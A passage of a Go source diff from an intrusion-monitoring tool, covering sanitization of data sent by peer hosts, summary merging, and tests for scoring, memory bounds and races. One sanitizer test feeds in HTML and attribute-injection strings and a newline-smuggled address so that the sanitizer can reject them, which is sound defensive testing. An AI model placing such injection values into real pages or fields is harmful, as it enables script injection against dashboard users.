||||
if len(series[c]) != nb {
|
||||
series[c] = make([]uint32, nb)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Sanitize bounds everything that came from a peer: a compromised peer must
|
||||
// not be able to inflate the hub's memory or break its charts. It rejects
|
||||
// documents of the wrong schema version.
|
||||
func (e *PeerExport) Sanitize(rangeName string) error {
|
||||
if e.V != ExportVersion {
|
||||
return errBadExport
|
||||
}
|
||||
rg := ParseRange(rangeName)
|
||||
s := &e.Summary
|
||||
s.Version = clipS(s.Version, 32)
|
||||
s.Range, s.Attribution = rg.Name, clipS(s.Attribution, 200)
|
||||
if len(s.Hosts) > 4 {
|
||||
s.Hosts = s.Hosts[:4]
|
||||
}
|
||||
for i := range s.Hosts {
|
||||
s.Hosts[i].Version, s.Hosts[i].Error = clipS(s.Hosts[i].Version, 32), clipS(s.Hosts[i].Error, 160)
|
||||
}
|
||||
// timeline: the grid is fixed by the range
|
||||
nb := int(rg.Dur.Seconds()) / int(rg.Step)
|
||||
s.Timeline.Step, s.Timeline.Cats = rg.Step, catStrings()
|
||||
if s.Timeline.Series == nil {
|
||||
s.Timeline.Series = map[string][]uint32{}
|
||||
}
|
||||
fixGrid(s.Timeline.Series, s.Timeline.Cats, nb)
|
||||
for k := range s.Timeline.Series {
|
||||
known := false
|
||||
for _, c := range s.Timeline.Cats {
|
||||
known = known || c == k
|
||||
}
|
||||
if !known {
|
||||
delete(s.Timeline.Series, k)
|
||||
}
|
||||
}
|
||||
cats := map[string]bool{}
|
||||
for _, c := range core.Categories {
|
||||
cats[string(c)] = true
|
||||
}
|
||||
for k := range s.Totals.Counts {
|
||||
if !cats[k] {
|
||||
delete(s.Totals.Counts, k)
|
||||
}
|
||||
}
|
||||
if len(s.IPs) > summaryIPs {
|
||||
s.IPs = s.IPs[:summaryIPs]
|
||||
}
|
||||
ips := s.IPs[:0]
|
||||
for _, x := range s.IPs {
|
||||
key, ok := sanitizeKey(x.IP)
|
||||
if !ok || math.IsNaN(x.Score) || math.IsInf(x.Score, 0) {
|
||||
continue
|
||||
}
|
||||
x.IP = key
|
||||
x.Score = math.Max(0, math.Min(x.Score, 1e6))
|
||||
// a peer cannot grant admin immunity, and its strong flag only counts
|
||||
// when its own score for the address is hostile
|
||||
x.Admin = false
|
||||
x.Strong = x.Strong && x.Score >= core.HostileScore
|
||||
x.Level = core.LevelOf(x.Score, x.Strong, x.Admin)
|
||||
for k := range x.Counts {
|
||||
if !cats[k] {
|
||||
delete(x.Counts, k)
|
||||
}
|
||||
}
|
||||
x.Hosts = clipList(x.Hosts, 4, 64)
|
||||
x.Domains, x.Samples = clipList(x.Domains, maxDomain, 120), clipList(x.Samples, maxSample, 300)
|
||||
x.UAs, x.UALabels = clipList(x.UAs, maxUAs, 200), clipList(x.UALabels, maxUAs, 120)
|
||||
x.Jails = clipList(x.Jails, maxJails, 40)
|
||||
x.RDNS, x.CC, x.Country, x.City, x.ASOrg = clipS(x.RDNS, 200), clipS(x.CC, 2), clipS(x.Country, 80), clipS(x.City, 80), clipS(x.ASOrg, 120)
|
||||
ips = append(ips, x)
|
||||
}
|
||||
s.IPs = ips
|
||||
s.TopPaths, s.TopDomains = clipCounts(s.TopPaths, topKeep), clipCounts(s.TopDomains, topKeep)
|
||||
s.TopUAs, s.TopUsers, s.Countries = clipCounts(s.TopUAs, topKeep), clipCounts(s.TopUsers, topKeep), clipCounts(s.Countries, 120)
|
||||
if len(s.Recent) > 60 {
|
||||
s.Recent = s.Recent[:60]
|
||||
}
|
||||
recent := s.Recent[:0]
|
||||
for _, r := range s.Recent {
|
||||
if !cats[r.Cat] {
|
||||
continue // unknown category: it would become a CSS class in the dashboard
|
||||
}
|
||||
recent = append(recent, r)
|
||||
}
|
||||
s.Recent = recent
|
||||
for i := range s.Recent {
|
||||
r := &s.Recent[i]
|
||||
r.IP, r.Cat, r.Source = clipS(r.IP, 45), clipS(r.Cat, 20), clipS(r.Source, 20)
|
||||
r.Domain, r.Method, r.Path = clipS(r.Domain, 100), clipS(r.Method, 12), clipS(r.Path, 240)
|
||||
r.User, r.Jail, r.CC = clipS(r.User, 64), clipS(r.Jail, 40), clipS(r.CC, 2)
|
||||
}
|
||||
if len(s.Sources) > 16 {
|
||||
s.Sources = s.Sources[:16]
|
||||
}
|
||||
for i := range s.Sources {
|
||||
x := &s.Sources[i]
|
||||
x.Name, x.Path, x.Error = clipS(x.Name, 40), "", clipS(x.Error, 160)
|
||||
if !validStates[x.State] {
|
||||
x.State = "error"
|
||||
}
|
||||
}
|
||||
|
||||
if e.Traffic == nil {
|
||||
e.Traffic = map[string]TrafficData{}
|
||||
}
|
||||
if len(e.Traffic) > maxDomains+3 {
|
||||
for k := range e.Traffic {
|
||||
if len(e.Traffic) <= maxDomains+3 {
|
||||
break
|
||||
}
|
||||
if k != "all" {
|
||||
delete(e.Traffic, k)
|
||||
}
|
||||
}
|
||||
}
|
||||
for k, t := range e.Traffic {
|
||||
if !utf8.ValidString(k) || len(k) > 253 {
|
||||
delete(e.Traffic, k)
|
||||
continue
|
||||
}
|
||||
t.sanitize(rg)
|
||||
e.Traffic[k] = t
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func trafficGrid(rg Range) (int, int64) {
|
||||
switch rg.Name {
|
||||
case "1h":
|
||||
return 60, 60
|
||||
case "24h":
|
||||
return 96, 900
|
||||
}
|
||||
return 168, 3600
|
||||
}
|
||||
|
||||
func (t *TrafficData) sanitize(rg Range) {
|
||||
nb, step := trafficGrid(rg)
|
||||
t.Range = rg.Name
|
||||
t.Domain = clipS(t.Domain, 253)
|
||||
t.Timeline.Step = step
|
||||
if len(t.Timeline.Req) != nb {
|
||||
t.Timeline.Req = make([]uint32, nb)
|
||||
}
|
||||
if len(t.Timeline.Pages) != nb {
|
||||
t.Timeline.Pages = make([]uint32, nb)
|
||||
}
|
||||
t.Domains = clipCounts(t.Domains, maxDomains+1)
|
||||
t.TopPages, t.Referrers = clipCounts(t.TopPages, anTop), clipCounts(t.Referrers, anTop)
|
||||
t.Countries, t.Cities = clipCounts(t.Countries, 120), clipCounts(t.Cities, anTop)
|
||||
t.Browsers, t.OSes = clipCounts(t.Browsers, anTop), clipCounts(t.OSes, anTop)
|
||||
t.Devices, t.BotNames = clipCounts(t.Devices, 10), clipCounts(t.BotNames, anTop)
|
||||
t.Finish()
|
||||
}
|
||||
|
||||
// SanitizeTraffic bounds a TrafficData received from elsewhere.
|
||||
func SanitizeTraffic(t *TrafficData, rangeName string) { t.sanitize(ParseRange(rangeName)) }
|
||||
|
||||
var validStates = map[string]bool{"following": true, "waiting": true, "backfill": true, "error": true, "disabled": true}
|
||||
|
||||
// sanitizeKey validates a table key received from a peer: a plain address
|
||||
// (no zone) or an IPv6 /64 prefix, normalized.
|
||||
func sanitizeKey(in string) (string, bool) {
|
||||
if a, err := netip.ParseAddr(in); err == nil {
|
||||
if a.Zone() != "" {
|
||||
return "", false
|
||||
}
|
||||
return KeyOf(a.String()), true
|
||||
}
|
||||
if p, err := netip.ParsePrefix(in); err == nil && p.Addr().Is6() && p.Addr().Zone() == "" {
|
||||
return KeyOf(in), true
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
package store
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"math"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
)
|
||||
|
||||
func TestIPv6AggregatesBy64(t *testing.T) {
|
||||
s := newStore("x", 100)
|
||||
for i := 0; i < 300; i++ {
|
||||
e := ev(fmt.Sprintf("2001:db8:0:1:%x::%x", i, i+1), core.Scanner, time.Minute)
|
||||
s.Ingest(e)
|
||||
}
|
||||
s.Ingest(ev("2001:db8:0:2::5", core.Scanner, time.Minute))
|
||||
if n := s.IPCount(); n != 2 {
|
||||
t.Fatalf("one /64 is one entry, got %d entries", n)
|
||||
}
|
||||
if KeyOf("2001:db8:0:1:ffff::9") != "2001:db8:0:1::/64" || KeyOf("8.8.8.8") != "8.8.8.8" || KeyOf("::ffff:8.8.8.8") != "8.8.8.8" {
|
||||
t.Fatal("KeyOf")
|
||||
}
|
||||
d, ok := s.IP("2001:db8:0:1::77")
|
||||
if !ok || d.IP != "2001:db8:0:1::/64" || d.Counts["scanner"] != 300 {
|
||||
t.Fatalf("lookup by any address of the /64: %+v", d)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPerIPTextIsBoundedAndJailedIPsAreCapped(t *testing.T) {
|
||||
s := newStore("x", 100)
|
||||
for k := 0; k < 20; k++ {
|
||||
e := ev("5.5.5.5", core.Scanner, time.Minute)
|
||||
e.Path = fmt.Sprintf("/%d-", k) + strings.Repeat("A", 220)
|
||||
e.UA = fmt.Sprintf("ua%d", k) + strings.Repeat("U", 190)
|
||||
e.Domain = fmt.Sprintf("d%d.", k) + strings.Repeat("x", 90)
|
||||
s.Ingest(e)
|
||||
}
|
||||
d, _ := s.IP("5.5.5.5")
|
||||
if len(d.Samples) > 4 || len(d.UAs) > 2 || len(d.Domains) > 3 {
|
||||
t.Fatalf("too many items: %d %d %d", len(d.Samples), len(d.UAs), len(d.Domains))
|
||||
}
|
||||
for _, l := range [][]string{d.Samples, d.UAs, d.Domains} {
|
||||
for _, v := range l {
|
||||
if len(v) > 120 {
|
||||
t.Fatalf("item of %d bytes", len(v))
|
||||
}
|
||||
}
|
||||
}
|
||||
for i := 0; i < 300; i++ {
|
||||
s.Ingest(core.Event{Time: t0, IP: fmt.Sprintf("1.1.%d.%d", i/250, i%250+1), Cat: core.Ban, Source: "fail2ban", Jail: "sshd"})
|
||||
}
|
||||
if n := s.IPCount(); n > 100 {
|
||||
t.Fatalf("jailed IPs bypass the cap: %d > 100", n)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLevelNeedsAStrongSignalAndAdminsAreNeverHostile(t *testing.T) {
|
||||
s := newStore("x", 100)
|
||||
s.SetAdminUsers([]string{"admin", "root", "lucas"})
|
||||
// an SPA answering 200 to /config.json (not a scanner hit) and soft probes weigh little
|
||||
for i := 0; i < 17; i++ {
|
||||
e := ev("7.7.7.7", core.Scanner, time.Minute)
|
||||
e.Soft = true
|
||||
s.Ingest(e)
|
||||
}
|
||||
if d, _ := s.IP("7.7.7.7"); d.Score != 8.5 || d.Level == core.LevelHostile {
|
||||
t.Fatalf("soft probes: %+v", d)
|
||||
}
|
||||
// a huge score of one weak kind is suspicious, not hostile
|
||||
for i := 0; i < 40; i++ {
|
||||
s.Ingest(ev("7.7.7.8", core.Scanner, time.Minute)) // 120 points, one category, no tool
|
||||
}
|
||||
if d, _ := s.IP("7.7.7.8"); d.Level != core.LevelSuspicious || d.Strong {
|
||||
t.Fatalf("one weak category: %+v", d)
|
||||
}
|
||||
// two distinct attack categories are a strong signal
|
||||
s.Ingest(ev("7.7.7.8", core.BruteForce, time.Minute))
|
||||
if d, _ := s.IP("7.7.7.8"); d.Level != core.LevelHostile {
|
||||
t.Fatalf("two categories: %+v", d)
|
||||
}
|
||||
// an attack tool is a strong signal by itself
|
||||
for i := 0; i < 20; i++ {
|
||||
e := ev("7.7.7.9", core.Scanner, time.Minute)
|
||||
e.E.Tool = true
|
||||
s.Ingest(e)
|
||||
}
|
||||
if d, _ := s.IP("7.7.7.9"); d.Level != core.LevelHostile {
|
||||
t.Fatalf("tool: %+v", d)
|
||||
}
|
||||
// the admin: many failed publickeys, but a successful login too
|
||||
s.Ingest(core.Event{Time: t0.Add(-time.Hour), IP: "9.9.9.1", Cat: core.SSHOK, Source: "ssh", User: "admin"})
|
||||
for i := 0; i < 40; i++ {
|
||||
s.Ingest(core.Event{Time: t0, IP: "9.9.9.1", Cat: core.SSHFail, Source: "ssh", User: "admin"})
|
||||
s.Ingest(core.Event{Time: t0, IP: "9.9.9.1", Cat: core.SSHProbe, Source: "ssh"})
|
||||
}
|
||||
d, _ := s.IP("9.9.9.1")
|
||||
if !d.Admin || d.Level != core.LevelLow {
|
||||
t.Fatalf("a recent ssh-ok must keep the address out of hostile: %+v", d)
|
||||
}
|
||||
if sum := s.Summary("24h"); sum.Totals.HostileIPs != 2 {
|
||||
t.Fatalf("hostile count %d", sum.Totals.HostileIPs)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTrafficDomainSlotsAreNotExhaustedByJunkHosts(t *testing.T) {
|
||||
s := newStore("x", 100)
|
||||
for i := 0; i < 30; i++ {
|
||||
s.Traffic(core.Event{Time: t0, Source: "traefik", Domain: fmt.Sprintf("junk%d.invalid", i), Method: "GET", Path: "/", Status: 404, IP: "2.2.2.2"})
|
||||
}
|
||||
s.Traffic(core.Event{Time: t0, Source: "traefik", Domain: "real.example.com", Method: "GET", Path: "/", Status: 200, IP: "2.2.2.2"})
|
||||
d := s.TrafficSummary("24h", "all")
|
||||
if len(d.Domains) != 1 || d.Domains[0].Key != "real.example.com" {
|
||||
t.Fatalf("domains: %+v", d.Domains)
|
||||
}
|
||||
// allowlist
|
||||
a := newStore("x", 100)
|
||||
a.SetDomains([]string{"real.example.com", "*.shop.example"})
|
||||
for _, dom := range []string{"real.example.com", "x.shop.example", "evil.test"} {
|
||||
a.Traffic(core.Event{Time: t0, Source: "traefik", Domain: dom, Method: "GET", Path: "/", Status: 200, IP: "2.2.2.2"})
|
||||
}
|
||||
if d := a.TrafficSummary("24h", "all"); len(d.Domains) != 2 {
|
||||
t.Fatalf("allowlist: %+v", d.Domains)
|
||||
}
|
||||
// idle domains are pruned
|
||||
a.now = func() time.Time { return t0.Add(8 * 24 * time.Hour) }
|
||||
a.Prune()
|
||||
if len(a.tr.dom) != 0 {
|
||||
t.Fatalf("idle domains must be pruned: %d", len(a.tr.dom))
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizePath(t *testing.T) {
|
||||
for in, want := range map[string]string{
|
||||
"/blog/post": "/blog/post",
|
||||
"/u/550e8400-e29b-41d4-a716-446655440000/edit": "/u/:id/edit",
|
||||
"/reset/9f86d081884c7d659a2feaa0c55ad015a3bf4f1b": "/reset/:id",
|
||||
"/order/20261114123456": "/order/:id",
|
||||
"/blog/how-to-use-this-long-slug-text-2024": "/blog/how-to-use-this-long-slug-text-2024",
|
||||
"/v2/items": "/v2/items",
|
||||
"/token/AbCdEfGh1234567890XyZ": "/token/:id",
|
||||
} {
|
||||
if got := normalizePath(in); got != want {
|
||||
t.Errorf("%s -> %s, want %s", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestTamperedSnapshotCannotBreakTheRing(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
p := filepath.Join(dir, "s.gob")
|
||||
a := newStore("x", 100)
|
||||
for i := 0; i < 5; i++ {
|
||||
a.Ingest(ev("1.2.3.4", core.Exploit, time.Minute))
|
||||
}
|
||||
a.mu.Lock()
|
||||
a.rhead = 9999
|
||||
a.mu.Unlock()
|
||||
if err := a.Save(p, nil); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
b := newStore("x", 100)
|
||||
if _, err := b.Load(p); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
b.Summary("24h")
|
||||
b.Recent(10)
|
||||
b.Ingest(ev("1.2.3.5", core.Exploit, time.Minute))
|
||||
if len(b.Recent(10)) == 0 {
|
||||
t.Fatal("ring unusable")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSanitizeRejectsZonesClampsScoresAndWhitelists(t *testing.T) {
|
||||
e := PeerExport{V: 1}
|
||||
e.Summary.IPs = []IPSummary{
|
||||
{IP: "2001:db8::1%a\n8.8.8.8", Score: 99}, {IP: "fe80::1%eth0", Score: 5}, {IP: "1.2.3.4", Score: 1e300},
|
||||
{IP: "1.2.3.5", Score: math.Inf(1)}, {IP: "1.2.3.6", Score: -5}, {IP: "2001:db8:0:5::/64", Score: 3},
|
||||
{IP: "2001:db8:0:6::9", Score: 3, Admin: true}, {IP: "1.2.3.7", Score: 9999, Strong: false},
|
||||
}
|
||||
e.Summary.Recent = []FeedEvent{{Cat: "exploit", IP: "1.1.1.1"}, {Cat: `"><img src=x>`, IP: "1.1.1.1"}}
|
||||
e.Summary.Sources = []SourceStatus{{Name: "traefik", Path: "/data/coolify/proxy/access.log", State: "following"}, {Name: "x", State: "evil\" onload=\""}}
|
||||
if err := e.Sanitize("24h"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got := map[string]IPSummary{}
|
||||
for _, x := range e.Summary.IPs {
|
||||
got[x.IP] = x
|
||||
}
|
||||
if _, ok := got["2001:db8::1%a\n8.8.8.8"]; ok || len(got) != 5 {
|
||||
t.Fatalf("rows kept: %v", got)
|
||||
}
|
||||
if got["1.2.3.4"].Score != 1e6 || got["1.2.3.6"].Score != 0 {
|
||||
t.Fatalf("scores must be clamped to 0..1e6: %+v %+v", got["1.2.3.4"], got["1.2.3.6"])
|
||||
}
|
||||
if got["1.2.3.7"].Level != core.LevelSuspicious {
|
||||
t.Fatalf("a peer cannot declare hostile without a strong signal: %+v", got["1.2.3.7"])
|
||||
}
|
||||
if _, ok := got["2001:db8:0:5::/64"]; !ok {
|
||||
t.Fatalf("a /64 key is valid: %v", got)
|
||||
}
|
||||
if _, ok := got["2001:db8:0:6::/64"]; !ok || got["2001:db8:0:6::/64"].Level != core.LevelLow {
|
||||
t.Fatalf("a plain IPv6 is normalized to its /64: %v", got)
|
||||
}
|
||||
if len(e.Summary.Recent) != 1 {
|
||||
t.Fatalf("unknown categories must be dropped: %+v", e.Summary.Recent)
|
||||
}
|
||||
for _, src := range e.Summary.Sources {
|
||||
if src.Path != "" || !validStates[src.State] {
|
||||
t.Fatalf("source %+v", src)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
package store
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/netip"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
)
|
||||
|
||||
func heapMiB() uint64 {
|
||||
runtime.GC()
|
||||
var m runtime.MemStats
|
||||
runtime.ReadMemStats(&m)
|
||||
return m.HeapAlloc >> 20
|
||||
}
|
||||
|
||||
// The reviewer's worst case: 50k IPv6 addresses in distinct /64s, each sending
|
||||
// 8 distinct maximum-size samples, user agents and domains. The table is capped
|
||||
// at the default 20k entries and the per-IP text is bounded, so the heap stays
|
||||
// far below the container limit.
|
||||
func TestWorstCaseMemoryIsBounded(t *testing.T) {
|
||||
st := New(Config{Name: "x", Version: "t"})
|
||||
h0 := heapMiB()
|
||||
b := netip.MustParseAddr("2001:db8::").As16()
|
||||
now := time.Now()
|
||||
for i := 0; i < 25000; i++ {
|
||||
a := b
|
||||
a[6], a[7] = byte(i>>8), byte(i) // distinct /64
|
||||
a[15] = 1
|
||||
ip := netip.AddrFrom16(a).String()
|
||||
for k := 0; k < 8; k++ {
|
||||
st.Ingest(core.Event{Time: now, IP: ip, Cat: core.Scanner, Source: "traefik", Method: "GET", Status: 404,
|
||||
Domain: fmt.Sprintf("d%d%d.", i, k) + strings.Repeat("x", 90),
|
||||
Path: fmt.Sprintf("/%d-%d-", i, k) + strings.Repeat("A", 220),
|
||||
UA: fmt.Sprintf("ua%d-%d", i, k) + strings.Repeat("U", 190)})
|
||||
}
|
||||
}
|
||||
if n := st.IPCount(); n > 20000 {
|
||||
t.Fatalf("table over the default cap: %d", n)
|
||||
}
|
||||
grew := heapMiB() - h0
|
||||
t.Logf("IPs=%d heap growth=%d MiB", st.IPCount(), grew)
|
||||
if grew > 60 {
|
||||
t.Fatalf("worst case heap growth %d MiB", grew)
|
||||
}
|
||||
runtime.KeepAlive(st)
|
||||
}
|
||||
|
||||
func TestStoreRaceStress(t *testing.T) {
|
||||
st := New(Config{Name: "x", MaxIPs: 2000})
|
||||
now := time.Now()
|
||||
var wg sync.WaitGroup
|
||||
stop := make(chan struct{})
|
||||
for g := 0; g < 4; g++ {
|
||||
wg.Add(1)
|
||||
go func(g int) {
|
||||
defer wg.Done()
|
||||
for i := 0; ; i++ {
|
||||
select {
|
||||
case <-stop:
|
||||
return
|
||||
default:
|
||||
}
|
||||
st.Ingest(core.Event{Time: now, IP: fmt.Sprintf("10.%d.%d.%d", g, i/250%250, i%250), Cat: core.Scanner, Source: "traefik", Path: "/.env", Domain: "d", Method: "GET", UA: "u"})
|
||||
st.Traffic(core.Event{Time: now, IP: "2.2.2.2", Cat: core.OK, Source: "traefik", Domain: "d", Method: "GET", Path: "/", Status: 200, UA: "u"})
|
||||
st.Monitoring(now)
|
||||
}
|
||||
}(g)
|
||||
}
|
||||
dir := t.TempDir()
|
||||
for g := 0; g < 3; g++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for {
|
||||
select {
|
||||
case <-stop:
|
||||
return
|
||||
default:
|
||||
}
|
||||
st.Summary("24h")
|
||||
st.AllIPs(ParseRange("7d"), true)
|
||||
st.Export("24h")
|
||||
st.Prune()
|
||||
st.Recent(50)
|
||||
st.IP("10.0.0.1")
|
||||
st.Save(filepath.Join(dir, "s.gob"), nil)
|
||||
st.invalidate()
|
||||
}
|
||||
}()
|
||||
}
|
||||
ch, cancel := st.Subscribe()
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for {
|
||||
select {
|
||||
case <-stop:
|
||||
return
|
||||
case <-ch:
|
||||
}
|
||||
}
|
||||
}()
|
||||
time.Sleep(1500 * time.Millisecond)
|
||||
close(stop)
|
||||
wg.Wait()
|
||||
cancel()
|
||||
_ = os.Stdout
|
||||
}
|
||||
@@ -0,0 +1,185 @@
|
||||
package store
|
||||
|
||||
import (
|
||||
"sort"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
)
|
||||
|
||||
func unionStrings(a, b []string, max int) []string {
|
||||
for _, v := range b {
|
||||
a = addUnique(a, v, max)
|
||||
}
|
||||
return a
|
||||
}
|
||||
|
||||
// MergeIPs merges IP lists by address: scores and counts add up, hosts are
|
||||
// united, the first/last seen widen, a ban in any host marks the IP banned.
|
||||
func MergeIPs(lists ...[]IPSummary) []IPSummary {
|
||||
idx := map[string]*IPSummary{}
|
||||
var order []string
|
||||
for _, l := range lists {
|
||||
for _, x := range l {
|
||||
cur, ok := idx[x.IP]
|
||||
if !ok {
|
||||
c := x
|
||||
c.Counts = make(map[string]uint32, len(x.Counts))
|
||||
for k, v := range x.Counts {
|
||||
c.Counts[k] = v
|
||||
}
|
||||
c.Hosts = append([]string(nil), x.Hosts...)
|
||||
c.Domains = append([]string(nil), x.Domains...)
|
||||
c.Samples = append([]string(nil), x.Samples...)
|
||||
c.UAs = append([]string(nil), x.UAs...)
|
||||
c.Jails = append([]string(nil), x.Jails...)
|
||||
c.UALabels = append([]string(nil), x.UALabels...)
|
||||
idx[x.IP] = &c
|
||||
order = append(order, x.IP)
|
||||
continue
|
||||
}
|
||||
cur.Score += x.Score
|
||||
for k, v := range x.Counts {
|
||||
cur.Counts[k] += v
|
||||
}
|
||||
cur.Hosts = unionStrings(cur.Hosts, x.Hosts, 16)
|
||||
cur.Domains = unionStrings(cur.Domains, x.Domains, 8)
|
||||
cur.Samples = unionStrings(cur.Samples, x.Samples, 10)
|
||||
cur.UAs = unionStrings(cur.UAs, x.UAs, 5)
|
||||
cur.Jails = unionStrings(cur.Jails, x.Jails, 12)
|
||||
cur.UALabels = unionStrings(cur.UALabels, x.UALabels, 6)
|
||||
if cur.CC == "" {
|
||||
cur.CC, cur.Country, cur.City, cur.ASN, cur.ASOrg = x.CC, x.Country, x.City, x.ASN, x.ASOrg
|
||||
}
|
||||
if x.First != 0 && (cur.First == 0 || x.First < cur.First) {
|
||||
cur.First = x.First
|
||||
}
|
||||
if x.Last > cur.Last {
|
||||
cur.Last = x.Last
|
||||
}
|
||||
cur.Banned = cur.Banned || x.Banned
|
||||
cur.Strong, cur.Admin = cur.Strong || x.Strong, cur.Admin || x.Admin
|
||||
if cur.RDNS == "" {
|
||||
cur.RDNS = x.RDNS
|
||||
}
|
||||
}
|
||||
}
|
||||
out := make([]IPSummary, 0, len(order))
|
||||
for _, ip := range order {
|
||||
c := idx[ip]
|
||||
c.Score = round1(c.Score)
|
||||
c.Level = core.LevelOf(c.Score, c.Strong, c.Admin)
|
||||
sort.Strings(c.Hosts)
|
||||
out = append(out, *c)
|
||||
}
|
||||
SortIPs(out, "score", true)
|
||||
return out
|
||||
}
|
||||
|
||||
func mergeCounts(n int, lists ...[]Count) []Count {
|
||||
m := map[string]uint32{}
|
||||
labels := map[string]string{}
|
||||
for _, l := range lists {
|
||||
for _, c := range l {
|
||||
m[c.Key] += c.N
|
||||
if c.Label != "" {
|
||||
labels[c.Key] = c.Label
|
||||
}
|
||||
}
|
||||
}
|
||||
out := topN(m, n)
|
||||
for i := range out {
|
||||
out[i].Label = labels[out[i].Key]
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Merge combines summaries of the same range into one. The timeline grids are
|
||||
// aligned by timestamp, so a peer whose clock is a few seconds off still lines up.
|
||||
func Merge(host string, parts []Summary) Summary {
|
||||
if len(parts) == 0 {
|
||||
return Summary{Host: host}
|
||||
}
|
||||
base := parts[0]
|
||||
out := Summary{Attribution: base.Attribution, Version: base.Version, Host: host, Range: base.Range, Generated: base.Generated,
|
||||
Timeline: Timeline{Start: base.Timeline.Start, Step: base.Timeline.Step, Cats: base.Timeline.Cats,
|
||||
Series: map[string][]uint32{}},
|
||||
Totals: Totals{Counts: map[string]uint64{}}}
|
||||
nb := 0
|
||||
for _, c := range base.Timeline.Cats {
|
||||
nb = len(base.Timeline.Series[c])
|
||||
out.Timeline.Series[c] = make([]uint32, nb)
|
||||
}
|
||||
var ipLists [][]IPSummary
|
||||
var paths, doms, uas, users, ctry [][]Count
|
||||
var recent []FeedEvent
|
||||
for _, p := range parts {
|
||||
if p.Generated > out.Generated {
|
||||
out.Generated = p.Generated
|
||||
}
|
||||
out.Hosts = append(out.Hosts, p.Hosts...)
|
||||
out.Sources = append(out.Sources, p.Sources...)
|
||||
out.Totals.Requests += p.Totals.Requests
|
||||
out.Totals.Malicious += p.Totals.Malicious
|
||||
out.Totals.ActiveBans += p.Totals.ActiveBans
|
||||
out.Totals.Monitoring += p.Totals.Monitoring
|
||||
for k, v := range p.Totals.Counts {
|
||||
out.Totals.Counts[k] += v
|
||||
}
|
||||
if p.Timeline.Step == out.Timeline.Step {
|
||||
shift := (p.Timeline.Start - out.Timeline.Start) / out.Timeline.Step
|
||||
for _, c := range out.Timeline.Cats {
|
||||
src := p.Timeline.Series[c]
|
||||
dst := out.Timeline.Series[c]
|
||||
for i, v := range src {
|
||||
j := int64(i) + shift
|
||||
if j >= 0 && j < int64(len(dst)) {
|
||||
dst[j] += v
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
ipLists = append(ipLists, p.IPs)
|
||||
paths = append(paths, p.TopPaths)
|
||||
doms = append(doms, p.TopDomains)
|
||||
uas = append(uas, p.TopUAs)
|
||||
users = append(users, p.TopUsers)
|
||||
ctry = append(ctry, p.Countries)
|
||||
recent = append(recent, p.Recent...)
|
||||
}
|
||||
out.IPs = MergeIPs(ipLists...)
|
||||
// Peers only ship their top IPs, so the merged list can undercount; never
|
||||
// report less than the largest single instance, and exact for one part.
|
||||
hostile, susp := 0, 0
|
||||
for _, ip := range out.IPs {
|
||||
switch ip.Level {
|
||||
case core.LevelHostile:
|
||||
hostile++
|
||||
case core.LevelSuspicious:
|
||||
susp++
|
||||
}
|
||||
}
|
||||
out.Totals.HostileIPs, out.Totals.SuspiciousIPs, out.Totals.UniqueIPs = hostile, susp, len(out.IPs)
|
||||
for _, p := range parts {
|
||||
if p.Totals.HostileIPs > out.Totals.HostileIPs {
|
||||
out.Totals.HostileIPs = p.Totals.HostileIPs
|
||||
}
|
||||
if p.Totals.SuspiciousIPs > out.Totals.SuspiciousIPs {
|
||||
out.Totals.SuspiciousIPs = p.Totals.SuspiciousIPs
|
||||
}
|
||||
if p.Totals.UniqueIPs > out.Totals.UniqueIPs {
|
||||
out.Totals.UniqueIPs = p.Totals.UniqueIPs
|
||||
}
|
||||
}
|
||||
if len(out.IPs) > summaryIPs {
|
||||
out.IPs = out.IPs[:summaryIPs]
|
||||
}
|
||||
out.TopPaths, out.TopDomains = mergeCounts(topKeep, paths...), mergeCounts(topKeep, doms...)
|
||||
out.TopUAs, out.TopUsers = mergeCounts(topKeep, uas...), mergeCounts(topKeep, users...)
|
||||
out.Countries = mergeCounts(120, ctry...)
|
||||
sort.SliceStable(recent, func(i, j int) bool { return recent[i].T > recent[j].T })
|
||||
if len(recent) > 60 {
|
||||
recent = recent[:60]
|
||||
}
|
||||
out.Recent = recent
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,194 @@
|
||||
package store
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
)
|
||||
|
||||
func hostile(s *Store, ip string) bool {
|
||||
for _, x := range s.AllIPs(ParseRange("7d"), false) {
|
||||
if x.IP == ip && x.Level == core.LevelHostile {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// A framed browser never reaches hostile; a scanner forging the same headers
|
||||
// does not disappear either: it is recorded, capped, and shows as suspicious.
|
||||
func TestCrossSiteFramedRequestsNeverScore(t *testing.T) {
|
||||
